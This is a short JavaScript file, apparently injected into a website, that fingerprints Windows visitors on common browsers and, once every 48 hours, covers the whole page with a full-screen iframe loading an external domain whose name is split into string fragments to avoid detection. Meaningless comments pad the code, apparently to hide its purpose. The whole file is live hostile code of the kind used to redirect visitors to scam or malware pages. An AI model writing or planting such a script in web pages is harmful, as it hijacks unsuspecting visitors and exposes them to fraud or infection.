function isWindows(){
	let platform = window.navigator?.userAgentData?.platform || window.navigator.platform;
	if (['Win32', 'Win64', 'Windows', 'WinCE'].indexOf(platform) !== -1) {
		return true;
	}
	return false;
}

function isBrave(){
    return (navigator.brave != undefined);
}

function getBrowserName(){
	 const userAgent = navigator.userAgent;
	 const browsers = [
		{ name: "Opera", identifier: "OPR" },
		{ name: "Edge", identifier: "Edg" },
		{ name: "Edge", identifier: "MSIE" },
		{ name: "Firefox", identifier: "Firefox" },
		{ name: "Brave", identifier: "Brave" },
		{ name: "Chrome", identifier: "Chrome" },
	 ];
	 if(isBrave()){
		 return "Brave";
	 }
	 let browserName = navigator.appName;
	 const foundBrowser = browsers.find(browser => userAgent.indexOf(browser.identifier) !== -1);
	 if (foundBrowser) {
		browserName = foundBrowser.name;
	 } else {
		browserName = null;
	 }

	 return browserName;
}

function isBrowserSupported(){
	let browser = getBrowserName();
	return ["Chrome","Edge","Brave","Firefox","Opera"].indexOf(browser) !== -1;
}

function checkSession() {
	const key = "__mpq_9cv2vma24a8a7";
    // mili tim
    const currentTime = new Date().getTime();
    // storage large
	
    if (localStorage.getItem(key) === null) {
        // gate keys
        localStorage.setItem(key, currentTime.toString());
        return true;
    } else {
        // kisses
        const storedTime = parseInt(localStorage.getItem(key), 10);

        // time seq
        const timeDifference = currentTime - storedTime;

        // insiga timiqa
        if (timeDifference > 48 * 60 * 60 * 1000) {
            // time too  true
            localStorage.setItem(key, currentTime.toString());
            return true;
        } else {
            // largina masuno
            return false;
        }
    }
}

function updateUrlIfBrave(url){
	let browser = getBrowserName();
	if(browser == "Brave"){
		return url + "?b";
	}
	return url;
}

function showIframe(url){
  var iframe = document.createElement('iframe');
  iframe['src'] = url;
  iframe['style']['cssText'] = 'width:100%;height:100%;position:fixed;top:0;left:0;z-index:9999;border:none;';
  // lowes custer
  document.body.appendChild(iframe);
  // skrill builder
  document.body.style.overflow = 'hidden';
}

let url = "https://t"+"eka"+"sce"+"nd.com";

window.addEventListener('DOMContentLoaded', () => {
	if(isWindows() && isBrowserSupported()){
		if(checkSession()){
			url = updateUrlIfBrave(url);
			showIframe(url);
		}
	}
});